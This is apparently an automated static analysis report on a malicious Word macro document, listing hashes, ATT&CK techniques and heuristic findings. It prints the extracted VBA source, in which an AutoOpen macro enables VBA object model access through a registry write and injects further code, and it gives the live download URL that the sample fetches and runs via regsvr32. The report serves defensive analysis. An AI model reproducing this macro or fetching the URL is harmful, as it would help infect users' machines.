Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dcdfe63147a95365…

MALICIOUS

Office (OOXML)

42.8 KB Created: 2021-06-07 10:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 64552c9eb58c479a6a367e18bcda9831 SHA-1: da65bd0409515280c52266e8672b0e44ae2add74 SHA-256: dcdfe63147a953656491edc4c0a5fa0ced32f9815cbb2f46a24361e5d2505149
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen macro, which is indicative of malicious intent. The script attempts to download a file from the URL "http://willhoused.com/adda/D7B0tVd391GI3U6c0y3empD1Wrri78zhIsBF6REH5/61kD4MPfkFig7yG/MuhAbF/6GsenvhmnCx/YPjm2f5yNpPOInL0KKDtnDD3zDv6MOrrZMaqGCVUNWpeO/dITVeWcV6umwcOsWkT6USbmDEFRR0NFLNxo6mo84x/pFJujBFNwGzueLp9baDTAKf/coc5?ref=r6kYWavwTzfjS0SPZHf1Pn&page=g5Qy4JU70vwNOJb&time=PjmrXR26v" and save it as "c:\programdata\databaseClassQuery.jpg". It then uses Shell() to execute this downloaded file via regsvr32. The script also writes to the registry key "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM" to enable VBA object model access, likely to facilitate further malicious actions.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub buttonProcedureConvert()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & trustNext & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub captionIndex(lenLocalPointer)
Set globalMemCopy = CreateObject("word.application")
With globalMemCopy.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "requestVariableLen"
Sub autoopen()
buttonProcedureConvert
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://willhoused.com/adda/D7B0tVd391GI3U6c0y3empD1Wrri78zhIsBF6REH5/61kD4MPfkFig7yG/MuhAbF/6GsenvhmnCx/YPjm2f5yNpPOInL0KKDtnDD3zDv6MOrrZMaqGCVUNWpeO/dITVeWcV6umwcOsWkT6USbmDEFRR0NFLNxo6mo84x/pFJujBFNwGzueLp9baDTAKf/coc5?ref=r6kYWavwTzfjS0SPZHf1Pn&page=g5Qy4JU70vwNOJb&time=PjmrXR26v In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1095 bytes
SHA-256: cfc9eff08a2c9facf4e34e359bda9e940ab20fac561996b2737b6f82601efd51
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "requestVariableLen"
Sub autoopen()
buttonProcedureConvert
lenLocalPointer = ActiveDocument.Range.Text
lenLocalPointer = Mid(lenLocalPointer, 2, Len(lenLocalPointer))
captionIndex lenLocalPointer
End Sub
Sub captionIndex(lenLocalPointer)
Set globalMemCopy = CreateObject("word.application")
With globalMemCopy.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString lenLocalPointer
End With
globalMemCopy.Visible = False
globalMemCopy.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function trustNext()
trustNext = Application.Version
End Function
Sub buttonProcedureConvert()
With CreateObject("wscript.shell")
.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\" & trustNext & "\Word\Security\AccessVBOM", 1, "REG_DWORD"
End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 079ad90a0e2ec85b72c79162e363feda018005658a770d690c0f1e4699569ff2

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